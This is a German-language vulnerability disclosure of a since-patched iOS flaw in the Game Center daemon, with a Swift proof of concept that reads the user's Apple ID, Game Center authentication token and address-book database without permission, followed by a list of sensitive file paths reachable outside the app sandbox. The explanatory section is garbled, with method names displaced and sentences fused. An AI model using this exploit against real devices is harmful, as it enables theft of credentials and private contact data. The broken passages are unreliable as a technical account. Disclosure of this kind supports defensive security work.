
iOS-Game-Exploit (behoben in 15.0.2)
Update: Apple hat dies in iOS 15.0.2 stillschweigend behoben, ohne jede öffentliche Anerkennung oder Würdigung.
Jede App, die aus dem App Store installiert wurde, kann ohne Aufforderung an den Benutzer auf die folgenden Daten zugreifen:
Hier ist ein kurzer Proof of Concept.
let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
let appleID = response.credential.accountName
let token = response.credential.authenticationToken
}
utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
let addressBookData = data
}
}
Wie es passiert:
com.apple.gamed prüft die Berechtigung com.apple.developer.game-center nicht ordnungsgemäßgetServicesForPID:localPlayer:reply: mehrere XPC-Proxy-Objekte zurück (GKAccountService, GKFriendService, GKUtilityService usw.).com.apple.developer.game-center enthält), gibt der Aufruf von authenticatePlayerWithExistingCredentialsWithHandler: auf GKAccountService ein Objekt zurück, das die Apple-ID des Benutzers, die DSID und das Game-Center-Authentifizierungstoken enthält (das es ermöglicht, im Namen des Benutzers Anfragen an https://gc.apple.com zu senden). Der Aufruf von getProfilesForPlayerIDs:handler: auf gibt ein Objekt zurück, das den Vor- und Nachnamen der Apple-ID des Benutzers enthält. Der Aufruf von auf gibt ein Objekt mit Informationen über die Freunde des Benutzers in Game Center zurück.Auf der Seite des Apple Security Bounty Programms wird diese Schwachstelle mit 100.000 $ bewertet (Breiter App-Zugriff auf sensible Daten, die normalerweise durch eine TCC-Aufforderung oder die Plattform-Sandbox geschützt sind. Der Zugriff auf "sensible Daten" umfasst den Erhalt eines breiten Zugriffs (d. h. der vollständigen Datenbank) auf Kontakte).
GKProfileServicegetFriendsForPlayer:handler:GKFriendServicecom.apple.developer.game-center enthält, ermöglicht der Aufruf von requestImageDataForURL:subdirectory:fileName:handler: auf GKUtilityService das Lesen beliebiger Dateien außerhalb des App-Sandboxes, indem Datei-URLs an diese Methode übergeben werden. Zu den Dateien, auf die auf diese Weise zugegriffen werden kann (ohne darauf beschränkt zu sein), gehören die folgenden:
/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist - enthält den Mobile-Gestalt-Cache
/var/mobile/Library/CoreDuet/People/interactionC.db - enthält eine Liste von Kontakten aus Mail, SMS, iMessage, Messaging-Apps von Drittanbietern sowie Metadaten über die Interaktion des Benutzers mit diesen Kontakten (einschließlich Zeitstempeln und Statistiken)
/var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist - enthält Lieblingskontakte und deren Telefonnummern
/var/mobile/Library/AddressBook/AddressBook.sqlitedb - enthält die vollständige Adressbuch-Datenbank
/var/mobile/Library/AddressBook/AddressBookImages.sqlitedb - enthält Fotos von Adressbuch-KontaktencacheImageData:inSubdirectory:withFileName:handler: auf GKUtilityService könnte das Schreiben beliebiger Daten an einen Speicherort außerhalb des App-Sandboxes ermöglichen.